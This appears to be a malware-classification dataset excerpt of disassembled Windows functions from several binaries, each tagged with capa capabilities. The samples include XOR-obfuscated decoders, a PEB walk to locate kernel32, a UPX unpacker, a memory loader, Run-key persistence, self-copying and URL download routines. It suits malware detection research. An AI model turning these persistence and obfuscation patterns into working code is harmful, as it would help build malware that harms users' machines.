joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45fae5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x45fb1d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045db9c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045db74
jmp 0x45fb29
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4611d3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x461215
call fcn.00466c8a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x461215
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46120c
xor eax, eax
jmp 0x46121d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00461223
pop edi
pop esi
pop ebx
ret 4

Function at 0x4671ba
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4671e8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x467206
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00467120
jmp 0x467206
mov eax, dword [esi + 0x14]
test eax, eax
je 0x467206
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00467120
test edi, edi
mov eax, edi
jne 0x4671f0
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401550
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x401703
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
nop dword [eax]
push 0
call esi
sub byte [edi + ebp], 0x56
push 0
call esi
add byte [edi + ebp], 0x4f
push 0
call esi
xor byte [edi + ebp], 0xa1
push 0
call esi
add byte [edi + ebp], 0x45
push 0
call esi
add byte [edi + ebp], 0x83
push 0
call esi
add byte [edi + ebp], 0x4d
push 0
call esi
add byte [edi + ebp], 0xe4
push 0
call esi
xor byte [edi + ebp], 0x76
push 0
call esi
add byte [edi + ebp], 0xa7
push 0
call esi
add byte [edi + ebp], 0xc
push 0
call esi
xor byte [edi + ebp], 0x83
push 0
call esi
add byte [edi + ebp], 0xb
push 0
call esi
add byte [edi + ebp], 0x4a
push 0
call esi
add byte [edi + ebp], 0x93
push 0
call esi
add byte [edi + ebp], 0x19
push 0
call esi
add byte [edi + ebp], 0x83
push 0
call esi
xor byte [edi + ebp], 0x20
push 0
call esi
add byte [edi + ebp], 0x1a
push 0
call esi
sub byte [edi + ebp], 0x80
push 0
call esi
add byte [edi + ebp], 0xe8
push 0
call esi
add byte [edi + ebp], 0x51
push 0
call esi
add byte [edi + ebp], 0xb8
push 0
call esi
add byte [edi + ebp], 0x4e
push 0
call esi
add byte [edi + ebp], 0x2e
push 0
call esi
add byte [edi + ebp], 0xea
push 0
call esi
xor byte [edi + ebp], 0x15
push 0
call esi
add byte [edi + ebp], 0x1e
push 0
call esi
add byte [edi + ebp], 0x40
push 0
call esi
add byte [edi + ebp], 0x76
push 0
call esi
add byte [edi + ebp], 0x45
push 0
call esi
add byte [edi + ebp], 0x13
push 0
call esi
xor byte [edi + ebp], 0x15
push 0
call esi
xor byte [edi + ebp], 0x57
push 0
call esi
xor byte [edi + ebp], 0x38
push 0
call esi
add byte [edi + ebp], 4
push 0
call esi
add byte [edi + ebp], 0xe
push 0
call esi
xor byte [edi + ebp], 0x99
push 0
call esi
add byte [edi + ebp], 0x30
push 0
call esi
add byte [edi + ebp], 0x3a
push 0
call esi
xor byte [edi + ebp], 0x21
push 0
call esi
add byte [edi + ebp], 0xa9
push 0
call esi
xor byte [edi + ebp], 0xcf
push 0
call esi
add byte [edi + ebp], 0x1c
push 0
call esi
xor byte [edi + ebp], 0x7e
push 0
call esi
add byte [edi + ebp], 0x29
push 0
call esi
xor byte [edi + ebp], 0x66
push 0
call esi
add byte [edi + ebp], 0x60
push 0
call esi
add byte [edi + ebp], 0x45
push 0
call esi
add byte [edi + ebp], 0x78
inc edi
cmp edi, ebx
jb 0x401570
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x401940
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40194e
call 0x8561930
inc eax
inc ecx
add byte [ebx + ecx*4 + 0x3d], ah
xor byte [eax], al
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44b000], eax
sub eax, eax
je 0x401973
jmp 0xd0408220
push 0x2d000
push section..pal
call fcn.00401550
add esp, 8
call fcn.004011b0
pop edi
xor eax, eax
pop esi
ret

Function at 0x402494
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4024d3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4024d3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4024d3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4024d3
cmp dword [ecx + 0x74], 0xe
jbe 0x4024d3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x408a64
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416860
push 0x416858
push str.FlsAlloc
push 0x1e
call fcn.00408925
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408a98
push dword [ebp + 8]
mov ecx, esi
call dword [0x414120]
call esi
jmp 0x408a9e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408ae2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416870
push 0x416868
push str.FlsGetValue
push 0x20
call fcn.00408925
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408b19
push dword [ebp + 8]
mov ecx, esi
call dword [0x414120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x408925
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop ebx
push edi
pop edx
call fcn.00408951
and edi, edi
xor dword [ecx], ebx
inc ecx
sub esp, 4
mov dword [esp], edx
pop edi
and edx, edi
cmp ecx, esi
jne fcn.00408925
sub edi, edx
add edx, edx
ret

Function at 0x419610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x419632
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419628
mov eax, 1
add ebx, ebx
jne 0x41964b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419640
jne 0x41965c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419640
xor ecx, ecx
sub eax, 3
jb 0x419670
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4196e2
mov ebp, eax
add ebx, ebx
jne 0x41967b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419688
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4196ac
inc ecx
add ebx, ebx
jne 0x419698
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41968d
jne 0x4196a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41968d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4196cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4196bd
jmp 0x41962e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4196cc
add edi, ecx
jmp 0x41962e
pop esi
mov edi, esi
mov ecx, 0x5ce
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4196ea
cmp byte [edi], 0
jne 0x4196ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4196ef
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x41975e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x191e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1924c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41971c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19250]
or eax, eax
je 0x419758
mov dword [ebx], eax
add ebx, 4
jmp 0x419739
call dword [esi + 0x19254]
popal
jmp 0x40e274
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40288e
pop dword [ebp - 0x44]
mov eax, 0x78a25228
sub eax, 0x7862299a
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xe5ec583f
sub dword [ebp - 0x54], 0x979a12f4
mov dword [ebp - 0x50], 0x5fe2d153
add dword [ebp - 0x50], 0xd2507af2
mov dword [ebp - 0x4c], 0xcab7f8d8
add dword [ebp - 0x4c], 0x81944b56
mov dword [ebp - 0x48], 0x6edc24f7
sub dword [ebp - 0x48], 0x6edc24f7
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xca031619
sub dword [ebp - 0x54], 0x5590acc3
mov dword [ebp - 0x50], 0xf4668d41
sub dword [ebp - 0x50], 0xb2fa2bcc
mov dword [ebp - 0x4c], 0xf101162b
sub dword [ebp - 0x4c], 0x8d91a9bf
mov dword [ebp - 0x48], 0xd1a2329f
add dword [ebp - 0x48], 0x2e5dcd61
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3d6fcff8
sub eax, 0x3d2f4f24
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3651e
push 0
call eax
mov ecx, 0x11fd10cd
sub ecx, 0x11fcc9e8
mov edi, eax
mov ebx, 0x51372707
add ebx, 0xaf09e8f9
add ebx, dword [ebp - 0x44]
mov edx, 0x1520b361
sub dword [ebp - 0x40], 0x3a946a8e
mov esi, dword [ebx]
sub dword [ebp - 0x1c], esi
add esi, edx
xor dword [ebp - 4], eax
mov dword [edi], esi
xor dword [ebp - 0x3c], esi
add edi, 0x91d8f63d
add edi, 0x6e2709c7
add ebx, 4
loop 0x4029a5
add eax, 0xec183cbd
add eax, 0x13e8d1aa
mov ebx, eax
add eax, 0x4b7d695
sub eax, 0x4b7d690
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x408936
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
or edi, edx
call fcn.00408965
inc edx
xor dword [esi], ecx
add edx, 0x3f55bccf
add esi, 1
sub edi, 0xe8070d98
cmp esi, ebx
jne fcn.00408936
inc edx
mov edx, 0x2960a10d
ret
Function at 0x401000
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push 0
lea eax, [ebp - 0x200]
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jl 0x40106a
lea eax, [ebp - 0x200]
push str.PurityScan
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x200]
pop ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x200]
push str.PurityScan.lnk
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x411030
push eax
push dword [ebp + 8]
call fcn.004093ed
add esp, 0x14
leave
ret

Function at 0x40106c
Capabilities:
Create directory
Get common file path
Query or enumerate registry value
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 8]
push 0x411094
push edi
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp + 8]
pop ecx
mov esi, 0x200
push eax
push 0x20019
push 0
push 0x411068
push 0x80000002
mov dword [ebp - 8], esi
mov dword [ebp - 4], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010d7
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push edi
push eax
push 0
push 0x411058
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str.PurityScan
push edi
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop ecx
pop ecx
push edi
call esi
test eax, eax
jne 0x40111b
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40111b
lea eax, [ebp - 0x208]
push eax
call esi
and byte [edi], 0
xor al, al
jmp 0x401126
lea eax, [ebp - 0x208]
push eax
call esi
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x40112a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30f4c
call fcn.00409bf0
push esi
push edi
lea eax, [ebp - 0x20c]
xor edi, edi
push 0x200
push eax
push edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x20c]
push 0x4110ac
push eax
call esi
push 0x4110a8
mov dword [ebp - 4], eax
push dword [ebp + 8]
call esi
add esp, 0x10
cmp dword [ebp - 4], edi
mov dword [ebp + 8], eax
je 0x401238
cmp eax, edi
je 0x401238
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push dword [ebp - 4]
mov ebx, 0x30d40
lea eax, [ebp - 0x30f4c]
push ebx
push 1
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
mov dword [ebp - 8], eax
jle 0x4011eb
push dword [ebp + 8]
lea eax, [ebp - 0x30f4c]
push dword [ebp - 8]
push 1
push eax
call esi
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add dword [ebp - 0xc], eax
lea eax, [ebp - 0x30f4c]
push ebx
push 1
push eax
call edi
add esp, 0x20
mov dword [ebp - 8], eax
test eax, eax
jg 0x4011bb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x28
xor edx, edx
pop ecx
push dword [ebp + 8]
div ecx
lea eax, [ebp - 0x30f4c]
shl edx, 9
push edx
push 1
push eax
call esi
push dword [ebp + 8]
push 0x100
push 1
push 0x444644
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp + 8]
call esi
add esp, 0x28
pop ebx
pop edi
pop esi
leave
ret

Function at 0x40123c
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40128c
push str.ContentService
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
push 1
push 0
push str.WTSS
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x4012c1
Capabilities:
Delete file
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.00401297
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x200]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x200]
push 0x411130
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservs.exe
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_remove]
lea eax, [ebp - 0x400]
push eax
call edi
mov ebx, 0x200
lea eax, [ebp - 0x200]
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
lea eax, [ebp - 0x200]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x400]
push str._swinservn.exe
push eax
call esi
lea eax, [ebp - 0x400]
push eax
call edi
add esp, 0x10
test eax, eax
pop edi
pop esi
pop ebx
jl 0x401389
mov dword [0x44416c], 1
leave
ret

Function at 0x40153f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or byte [ebp - 0xa], 0xff
mov byte [ebp - 0x1c], 0xac
mov byte [ebp - 0x1b], 0x90
mov byte [ebp - 0x1a], 0x99
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x88
mov byte [ebp - 0x17], 0x9e
mov byte [ebp - 0x16], 0x8d
mov byte [ebp - 0x15], 0x9a
mov byte [ebp - 0x14], 0xa3
mov byte [ebp - 0x13], 0xb5
mov byte [ebp - 0x12], 0x96
mov byte [ebp - 0x11], 0x92
mov byte [ebp - 0x10], 0x92
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 0xac
mov byte [ebp - 0xd], 0x8a
mov byte [ebp - 0xc], 0x8d
mov byte [ebp - 0xb], 0x99
xor ecx, ecx
lea eax, [ebp - 0x1c]
mov dl, 0xac
not dl
inc ecx
mov byte [eax], dl
mov dl, byte [ebp + ecx - 0x1c]
lea eax, [ebp + ecx - 0x1c]
cmp dl, 0xff
jne 0x401598
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x80000001
mov byte [ebp + ecx - 0x1c], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4015d9
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4015fb
cmp dword [0x444168], ebx
jne 0x4015fb
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push 0x40138b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x444168], eax
pop ebx
leave
ret

Function at 0x4015fe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401678
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x200]
push 0x411130
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push str.wapicc.exe
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x200]
push 0x4110ac
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x20
test eax, eax
je 0x401678
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x4094bc
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
push ebx
lea eax, [ebp + 0xc]
push ebx
push eax
mov byte [edi], bl
push dword [ebp + 8]
xor esi, esi
push ebx
call sub.urlmon.dll_URLOpenBlockingStreamA
cmp eax, ebx
jge 0x4094e9
or eax, 0xffffffff
jmp 0x409560
cmp dword [ebp + 0x10], ebx
jle 0x40951b
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 8]
push edx
mov edx, dword [ebp + 0x10]
mov ecx, dword [eax]
sub edx, esi
push edx
lea edx, [esi + edi]
push edx
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jl 0x40951b
cmp eax, 1
je 0x40954d
add esi, dword [ebp + 8]
cmp eax, 1
je 0x40954d
cmp esi, dword [ebp + 0x10]
jl 0x4094ee
cmp eax, 1
je 0x40954d
cmp eax, ebx
jge 0x40954d
push esi
push eax
lea eax, [ebp - 0x200]
push str.Download_error__08x__ptr_d_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x200]
push eax
push ebx
push str.download
call fcn.00408e8a
add esp, 0x1c
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp esi, dword [ebp + 0x10]
jge 0x40955e
mov byte [esi + edi], bl
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4095c8
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor ebx, ebx
push dword [0x443884]
mov byte [ebp - 1], bl
xor esi, esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x409621
lea eax, [ebp - 0x10]
push eax
mov eax, dword [str.0602000000240000525341310002000001000100a9959a031b5ae483402a81a758afd66183db74517df889e42099f84cfc8096e783923134ca536e2671208da3e411983dcf92d850deb6be982715ffc845e133a9]
add eax, esi
push str._02x
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
mov eax, esi
mov cl, byte [ebp - 0x10]
push dword [0x443884]
cdq
sub eax, edx
sar eax, 1
inc esi
mov byte [ebp + eax - 0x78], cl
inc esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp esi, eax
jb 0x4095e8
mov eax, esi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
cdq
sub eax, edx
push ebx
mov esi, eax
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
sar esi, 1
call edi
test eax, eax
jne 0x409661
push 8
push 1
push ebx
lea eax, [ebp - 8]
push ebx
push eax
call edi
test eax, eax
jne 0x409661
push str.CryptAcquireContext
call fcn.00409565
pop ecx
xor al, al
jmp 0x409709
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
lea eax, [ebp - 0x78]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x409686
push str.CryptImportKey
call fcn.00409565
pop ecx
jmp 0x4096f7
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4096a5
push str.CryptCreateHash
jmp 0x40967e
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4096c0
push str.CryptHashData
jmp 0x4096e3
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
test eax, eax
je 0x4096de
mov byte [ebp - 1], 1
jmp 0x4096e9
push str.CryptVerifySignature
call fcn.00409565
pop ecx
cmp dword [ebp - 0xc], ebx
je 0x4096f7
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], ebx
je 0x409706
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409f87
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [0x444b00], eax
mov eax, dword [ebp + 0xc]
mov dword [0x444b04], eax
mov eax, dword [ebp + 0x10]
mov dword [0x443c18], eax
mov eax, dword [ebp + 0x14]
mov dword [0x443c14], eax
mov eax, dword [0x444d88]
test eax, eax
jne 0x409fdb
lea eax, [ebp + 0xc]
push eax
push 0
push 0
push 0x409e9e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [0x444d88], eax
test eax, eax
setne cl
dec ecx
mov eax, ecx
pop ebp
ret
lea ecx, [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x409ffd
mov eax, dword [ebp + 8]
cmp eax, 0x103
je 0x409ffd
neg eax
sbb eax, eax
and al, 0xfe
inc eax
pop ebp
ret
xor eax, eax
pop ebp
ret